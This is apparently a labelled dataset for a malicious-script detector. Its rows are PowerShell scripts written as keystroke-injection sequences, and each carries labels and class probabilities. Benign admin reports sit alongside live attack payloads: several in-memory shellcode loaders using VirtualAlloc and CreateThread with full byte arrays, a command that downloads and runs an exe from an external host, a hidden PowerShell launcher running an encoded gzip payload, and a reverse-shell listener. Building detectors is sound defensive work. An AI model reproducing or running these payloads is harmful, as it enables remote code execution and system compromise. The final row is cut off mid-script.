"win+r enter powershell enter enter enter function Open-SPOSite enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string]$relativeUrl enter ) enter enter Write-Host ""Go to site $relativeUrl"" -foregroundcolor black -backgroundcolor yellow enter enter [string]$newSiteUrl = Join-SPOParts -Separator '/' -Parts $rootSiteUrl, $relativeUrl enter enter $newContext = New-Object Microsoft.SharePoint.Client.ClientContext($newSiteUrl) enter enter $newContext.RequestTimeout = $clientContext.RequestTimeout enter $newContext.AuthenticationMode = $clientContext.AuthenticationMode enter $newContext.Credentials = $clientContext.Credentials enter enter Write-Host ""Check connection"" -foregroundcolor black -backgroundcolor yellow enter $web = $newContext.Web enter $site = $newContext.Site enter $newContext.Load($web) enter $newContext.Load($site) enter $newContext.ExecuteQuery() enter enter Set-Variable -Name ""clientContext"" -Value $newContext -Scope Global enter enter Write-Host ""Succesfully connected"" -foregroundcolor black -backgroundcolor green enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x6d,0x58,0xf2,0xb0,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1613904e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_hprfkbim"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.4249642e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_bjiwp6iu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_100.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4918037e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_kjlislmb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_stopped.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.391348e-05
"win+r powershell enter function Invoke-Sniffer { param( [String]$LocalIP = ""NotSpecified"", [String]$Sc enter anIP=""all"", [String]$Protocol = ""all"", ` [String]$Port=""all"", [Int]$Seconds = 0 enter , [switch]$ResolveHosts, [switch]$Help, [String]$OutputFile, $MaxSize) if( $Hel enter p ) { Write-Output ""usage: $($MyInvocation.MYCommand) [-OutputFile <String>] [- enter LocalIP <String>] [-ScanIP <String>] [-Protocol <String>] [-Port <String>] [-Sec enter onds <Int32>] [-ResolveHosts]"" exit -1 } enter enter",1,1,0.00029265293,0.9997073
"win+r powershell enter $scripts = Get-ChildItem -Path $PSScriptRoot -Recurse -Filter *.ps1 | Where-Ob enter ject FullName -NotMatch '.Tests.' [regex]$regex = ""(^[A-Z\-]+-)"" Describe -Tag enter 'Help' 'Help' { foreach ($script in $scripts) { Context ""[$($script.BaseNam enter e)] Validate Comment Based Help"" { enter enter",1,1,0.0043594297,0.9956405
"win+r powershell enter function Get-SPListItems{ param( [Parameter(Mandatory=$false)] $SPweb, [Pa enter rameter(Mandatory=$false)] [string]$FilterListName, [switch]$OnlyDocumentLib enter raries, [switch]$OnlyCheckedOutFiles, enter enter",1,1,0.0073889834,0.992611
"win+r enter powershell enter enter enter <# enter .SYNOPSIS enter This cmdlet is for starting a listener that a reverse shell connection can attach too. enter .DESCRIPTION enter This cmdlet opens a listner port to connect to from a hine. enter .PARAMETER Port enter This parameter is for defining the listening port to connect too. The cmdlet binds connections to the port that you specify. The default value for this parameter is 1337. enter .EXAMPLE enter Start-Listener enter # This examples connects to a listener on port 1337. enter enter .EXAMPLE enter Start-Listener -Port 1234 enter # This examples connects to a listener on port 1234. enter .NOTES enter Author: Robert H. Osborne enter Alias: tobor enter Contact: rosborne@osbornepro.com enter .INPUTS enter None enter .OUTPUTS enter None enter .LINK enter https://osbornepro.com enter https://writeups.osbornepro.com enter https://btpssecpack.osbornepro.com enter https://github.com/tobor88 enter https://gitlab.com/tobor88 enter https://www.powershellgallery.com/profiles/tobor enter https://www.linkedin.com/in/roberthosborne/ enter https://www.credly.com/users/roberthosborne/badges enter https://www.hackthebox.eu/profile/52286 enter enter #> enter Function Start-Listener { enter [CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'Low')] enter param( enter [Parameter( enter Mandatory=$False, enter Position=0, enter ValueFromPipeline=$False, enter HelpMessage='Enter a port to listen on. Valid ports are between 1 and 65535. Example: 1234')] # End Parameter enter [ValidateRange(1,65535)] enter [Int32]$Port = 1337 enter ) # End param enter $PortString = $Port.ToString() enter enter Write-Verbose ""Checking for availability of $PortString"" enter enter $TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() enter $Connections = $TCPProperties.GetActiveTcpListeners() enter If ($Connections.Port -Contains ""$Port"") enter { enter enter Throw ""[!] Port $Port is alreday in use by another process(es). Select another port to use or stop the occupying processes."" enter enter } # End If enter enter Write-Verbose ""Defining listener object"" enter $Socket = New-Object -TypeName System.Net.Sockets.TcpListener('0.0.0.0', $Port) enter enter If ($Null -eq $Socket) enter { enter enter Exit enter enter } # End If enter enter Write-Verbose ""Starting listener on port $PortString and creating job to allow closing the connection"" enter enter If ($PSCmdlet.ShouldProcess($Socket.Start())) enter { enter enter Try enter { enter enter Write-Output (""[*] Listening on [0.0.0.0] (port $PortString)"") enter While ($True) enter { enter enter Write-Verbose ""Waiting for connection..."" enter If ($Socket.Pending()) enter { enter enter $Client = $Socket.AcceptTcpClient() enter enter Break; enter enter } # End If enter enter Start-Sleep -Seconds 2 enter enter } # End While enter enter } # End Try enter Finally enter { enter enter If (!($Client.Connected)) enter { enter enter Write-Verbose ""Terminating connection"" enter $Socket.Stop() enter $Client.Close() enter $Stream.Dispose() enter Write-Verbose ""Connection closed"" enter enter } # End If enter enter } # End Finally enter enter Write-Output ""[*] Connection Established"" enter enter Write-Verbose ""Creating byte stream"" enter $Stream = $Client.GetStream() enter $Writer = New-Object -TypeName System.IO.StreamWriter($Stream) enter $Buffer = New-Object -TypeName System.Byte[] 2048 enter $Encoding = New-Object -TypeName System.Text.AsciiEncoding enter enter Write-Verbose ""Begin command execution loop"" enter Do enter { enter enter $Command = Read-Host enter enter $Writer.WriteLine($Command) enter $Writer.Flush(); enter enter If ($Command -eq ""exit"") enter { enter enter Write-Verbose ""Exiting"" enter Break enter enter } # End If enter enter $Read = $Null enter enter While ($Stream.DataAvailable -or $Null -eq $Read) enter { enter enter $Read = $Stream.Read($Buffer, 0, 2048) enter $Out = $Encoding.GetString($Buffer, 0, $Read) enter enter Write-Output $Out enter enter } # End While enter enter } While ($Client.Connected -eq $True) # End Do While Loop enter enter Write-Verbose ""Terminating connection"" enter $Socket.Stop() enter $Client.Close() enter $Stream.Dispose() enter Write-Verbose ""Connection closed"" enter enter } # End If enter Else enter { enter enter Write-Output ""[*] Start-Listener would have started a listener on port $PortString"" enter enter } # End Else enter enter } # End Function Start-Listener enter enter",1,1,6.1680825e-05,0.99993837
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_gvnnwev2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter",0,0,0.9999658,3.415961e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_068rg052"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_25.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 3."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4146065e-05
"win+r powershell enter  function Test-ExportLogAnalyticThrottledRequestsNegative { $loc = Get-Comput enter eOperationLocation; $from = Get-Date -Year 2018 -Month 2 -Day 27 -Hour 9; $to enter = Get-Date -Year 2018 -Month 2 -Day 28 -Hour 9; $sasuri = 'https://fakestore.bl enter ob.core.windows.net/mylogs/fakesas'; Assert-ThrowsContains { ` $result = Expor enter t-AzLogAnalyticThrottledRequest -Location $loc -FromTime $from -ToTime $to -Blob enter ContainerSasUri $sasuri -GroupByThrottlePolicy -GroupByResourceName;} ` ""the gi enter ven SAS URI""; } enter",1,1,0.003124526,0.9968754
"win+r enter powershell enter enter enter $modulePath = Convert-Path $PSScriptRoot\..\src enter $moduleManifestPath = ""$modulePath\posh-git.psd1"" enter enter $csi = [char]0x1b + ""["" enter enter if (!(Get-Variable -Name gitbin -Scope global -ErrorAction SilentlyContinue)) { enter if (($PSVersionTable.PSVersion.Major -le 5) -or $IsWindows) { enter enter $global:gitbin = Get-Command -Name git -CommandType Application -TotalCount 1 enter } enter else { enter enter $global:gitbin = (Get-Command -Name git -CommandType Application -TotalCount 1).Path enter } enter } enter function global:git { enter $OFS = ' ' enter $cmdline = ""$args"" enter enter switch ($cmdline) { enter '--version' { 'git version 2.16.2.windows.1' } enter 'help' { Get-Content $PSScriptRoot\git-help.txt } enter default { enter $res = Invoke-Expression ""&$gitbin $cmdline"" enter $res enter } enter } enter } enter function global:Convert-NativeLineEnding([string]$content, [switch]$SplitLines) { enter $tmp = $content -split ""`n"" | ForEach-Object { $_.TrimEnd(""`r"")} enter if ($SplitLines) { enter $tmp enter } enter else { enter $content = $tmp -join [System.Environment]::NewLine enter $content enter } enter } enter enter function GetHomePath() { enter $Home enter } enter enter function GetHomeRelPath([string]$Path) { enter if (!$Path.StartsWith($Home)) { enter enter return $Path enter } enter enter if ($GitPromptSettings.DefaultPromptAbbreviateHomeDirectory) { enter ""~$($Path.Substring($Home.Length))"" enter } enter else { enter $Path enter } enter } enter enter function MakeNativePath([string]$Path) { enter $Path -replace '\\|/', [System.IO.Path]::DirectorySeparatorChar enter } enter enter function MakeGitPath([string]$Path) { enter $Path -replace '\\', '/' enter } enter enter function NewGitTempRepo([switch]$MakeInitialCommit) { enter Push-Location enter $temp = [System.IO.Path]::GetTempPath() enter $repoPath = Join-Path $temp ([IO.Path]::GetRandomFileName()) enter &$gitbin init $repoPath *>$null enter Set-Location $repoPath enter enter if ($MakeInitialCommit) { enter &$gitbin config user.email ""spaceman.spiff@appveyor.com"" enter &$gitbin config user.name ""Spaceman Spiff"" enter 'readme' | Out-File ./README.md -Encoding ascii enter &$gitbin add ./README.md *>$null enter &$gitbin commit -m ""initial commit."" *>$null enter } enter enter $repoPath enter } enter enter function RemoveGitTempRepo($RepoPath) { enter Pop-Location enter if ($repoPath -and (Test-Path $repoPath)) { enter Remove-Item $repoPath -Recurse -Force enter } enter } enter enter function ResetGitTempRepoWorkingDir($RepoPath, $Branch = 'master') { enter Set-Location $repoPath enter &$gitbin checkout -fq $Branch *>$null enter &$gitbin clean -xdfq *>$null enter } enter enter Remove-Item Function:\prompt enter Remove-Module posh-git -Force *>$null enter [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssigments', '')] enter $module = Import-Module $moduleManifestPath -ArgumentList $true,$true -Force -PassThru enter enter",0,1,0.03016698,0.9698331
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('http://matkalv.5gbfree.com/vosa/doc.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.8825903e-05,0.99994123
"win+r powershell enter $BjgO = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $BjgO -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbb,0x16,0xa8,0xb3,0xa3,0xdb,0xdc,0xd9,0x74,0x24,0xf4,0x58,0x29,0xc9,0xb1,0x47,0x31,0x58,0x13,0x03,0x58,0x13,0x83,0xe8,0xea,0x4a,0x46,0x5f,0xfa,0x09,0xa9,0xa0,0xfa,0x6d,0x23,0x45,0xcb,0xad,0x57,0x0d,0x7b,0x1e,0x13,0x43,0x77,0xd5,0x71,0x70,0x0c,0x9b,0x5d,0x77,0xa5,0x16,0xb8,0xb6,0x36,0x0a,0xf8,0xd9,0xb4,0x51,0x2d,0x3a,0x85,0x99,0x20,0x3b,0xc2,0xc4,0xc9,0x69,0x9b,0x83,0x7c,0x9e,0xa8,0xde,0xbc,0x15,0xe2,0xcf,0xc4,0xca,0xb2,0xee,0xe5,0x5c,0xc9,0xa8,0x25,0x5e,0x1e,0xc1,0x6f,0x78,0x43,0xec,0x26,0xf3,0xb7,0x9a,0xb8,0xd5,0x86,0x63,0x16,0x18,0x27,0x96,0x66,0x5c,0x8f,0x49,0x1d,0x94,0xec,0xf4,0x26,0x63,0x8f,0x22,0xa2,0x70,0x37,0xa0,0x14,0x5d,0xc6,0x65,0xc2,0x16,0xc4,0xc2,0x80,0x71,0xc8,0xd5,0x45,0x0a,0xf4,0x5e,0x68,0xdd,0x7d,0x24,0x4f,0xf9,0x26,0xfe,0xee,0x58,0x82,0x51,0x0e,0xba,0x6d,0x0d,0xaa,0xb0,0x83,0x5a,0xc7,0x9a,0xcb,0xaf,0xea,0x24,0x0b,0xb8,0x7d,0x56,0x39,0x67,0xd6,0xf0,0x71,0xe0,0xf0,0x07,0x76,0xdb,0x45,0x97,0x89,0xe4,0xb5,0xb1,0x4d,0xb0,0xe5,0xa9,0x64,0xb9,0x6d,0x2a,0x89,0x6c,0x1b,0x2f,0x1d,0xa1,0xd1,0x1c,0xec,0xd5,0xeb,0x62,0x07,0x35,0x65,0x84,0x47,0x69,0x25,0x19,0x27,0xd9,0x85,0xc9,0xcf,0x33,0x0a,0x35,0xef,0x3b,0xc0,0x5e,0x85,0xd3,0xbd,0x37,0x31,0x4d,0xe4,0xcc,0xa0,0x92,0x32,0xa9,0xe2,0x19,0xb1,0x4d,0xac,0xe9,0xbc,0x5d,0x58,0x1a,0x8b,0x3c,0xce,0x25,0x21,0x2a,0xee,0xb3,0xce,0xfd,0xb9,0x2b,0xcd,0xd8,0x8d,0xf3,0x2e,0x0f,0x86,0x3a,0xbb,0xf0,0xf0,0x42,0x2b,0xf1,0x00,0x15,0x21,0xf1,0x68,0xc1,0x11,0xa2,0x8d,0x0e,0x8c,0xd6,0x1e,0x9b,0x2f,0x8f,0xf3,0x0c,0x58,0x2d,0x2a,0x7a,0xc7,0xce,0x19,0x7a,0x3b,0x19,0x67,0x08,0x55,0x99;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$V8P=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($V8P.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$V8P,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.215857e-05,0.9999478
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0xf0,0xd7, enter 0xc7,0xa7,0xda,0xd6,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x47,0x31,0x50,0x13, enter 0x83,0xe8,0xfc,0x03,0x50,0xff,0x35,0x32,0x5b,0x17,0x3b,0xbd,0xa4,0xe7,0x5c,0x37, enter 0x41,0xd6,0x5c,0x23,0x01,0x48,0x6d,0x27,0x47,0x64,0x06,0x65,0x7c,0xff,0x6a,0xa2, enter 0x73,0x48,0xc0,0x94,0xba,0x49,0x79,0xe4,0xdd,0xc9,0x80,0x39,0x3e,0xf0,0x4a,0x4c, enter 0x3f,0x35,0xb6,0xbd, enter enter",1,1,5.3518783e-05,0.9999465
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_2fzj9wgs"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_25.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_40.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4372344e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_turhemiy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 25 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_25.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4884884e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_cwnxmkxx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_200.txt"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.431355e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_1vc20no7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.395231e-05
"win+r enter powershell enter enter enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIADWiTlgCA7VWa2/aSBT9nEr9D1aFhK0SDIQ0TaRKO+ZlwiMQB/MqWk3ssRkYPGQ8JkDb/77XgBOyTXbbldYCeR73zpw599y59qLAkZQHipy718q39+9OOljghaKm/CY//0QH3Z6/XGWU1CIwzcv15lw7OQGjFHeat6SxbitfFHWMlssyX2AaTK6uSpEQJJD7frZGJApDsrhnlISqpnxX+lMiyOnN/Yw4UvmmpP7M1hi/x+xgtilhZ0qUUxS48VyTOziGl7WWjEo1/fVrWhuf5ifZykOEWaimrU0oySLrMpbWlB9avOHdZknUdIs6gofck9k+Dc4K2V4QYo+0YbUVaRE55W6Y1uAk8BNERiJQns4UL7I3UdPQ7AjuINcVJASPbD1Y8TlRU0HEWEb5Qx0fENxGgaQLAvOSCL60iFhRh4RZEwcuI7fEm6ht8pgc/Fed1GMnsOpIoWUgOG9AbXE3YmTvndZ+BvsiqBo8x4EFNn68f/f+nZdIAks+O5YEtE7GuzYBuGqHh3Rn90XJZZQWbAoOYgPd1J2IiDZRxnEoxpOJkgrwAy5k3l4gn1jHtqP+gykDCcNjm1N3Am6HSKVW1YHJRFS7dux4+m3hlYlHA1LeBHhBnURb6mshIB4ju/NmE7M24FPThwnilgkjPpYxoRll/LNbZUHlk68RUeYSgRwIYwioIMLaSzD7GKnpetAiC+Br309DJDxQNEmsDyreJLvHfTBKlxgOw4zSiSClnIxiEcyIm1FQENLDFIok3zXTz3BbEZPUwaFMlptof6PzsG2JB6EUkQORBArurCVxKGYxIxnFpC4xNhb1k+3Tr/JRwozRwIeVVhAPGIl5sGSsDwFI91rQshaR9cWSkQUY7XK8yrAPGX3IiZ2isE/c9BtIE9nvNR5Tk3ByhBPibTEuM4pNhYQbI6Y50dd/hHJ0YRyDKglyiJKaJNLY2MhY/ikX8e72JtcN4+RIGNvxIyRwUxV8YeCQfCpaUgBz6gf9hpYQPMN6wFqOMad59Ejz9Rb8e/SszssXbuN6ZuqivJ56qB7WW2an3DXN4urasovSqtRlo1OXrcpgNrOQedsbylEdmXc0Nx8Wt8trurWayB2u9U9bY/uYM9bbme96w7Ln+ReedZs/r9Jmv9Q1cgXcLFeiZt94NHLFsEIfzS7tdefXVXk/tBnuebo/yF9ium6KmZ3nrW0dodr0zNlee3Zt2nI3Q1O/7BfnqIJQKajYVYM3hoZAHd3Gvs0fG77IFXw4awNTMur2qka3WzVQrzZ7KF/qPvgO8NTo2wU6Wg5up9CvAoSGnivWXbLlwy6QVOMI+7dg45cKztQDm/JHZHxs87CA5wZHBthURw+Aa7isdhjM3/UKHNmsPcCoOdpUdT0/7BSRmaP9mo/iJbFvdDEKV+VtWc/bLnf75+2hp9sDdqGXS3dLx9N1/dEsN5xRfv355uJzs0/tBUc9Xbc/xCIBlaToQ51tL+qEONboKO5v3fktLMIpZqAHuMiTNK1yUT1cxx1OYw9V3VXqOREBYVDXoPIl4kaMcScuD7uLG0rTvmBMIEt70DwrvNrSlCdD7blkJENXVyNACanyrOFskwS+nGZy67NcDm7+3LqYgzP/+vlKfLlRjxbMxPXjBV0v92O7/bQ4pVLizFxuixtU/X8ZPWTzFF7uvzH6PPYPs7/Eci7zkoWfpl8O/Bbpv01BH1MJlhZcSIzsa+brTBxkdPS58RQk0Ih3eOJvv5tInrbhU+Qvbkz+0nUKAAA=''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); enter [decoded_payloads] enter [decoded:long_base64_literal] enter function tkdJ { enter Param ($gLo56iXQUgpv, $mnHH9xy5) enter $ocLReKxN = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 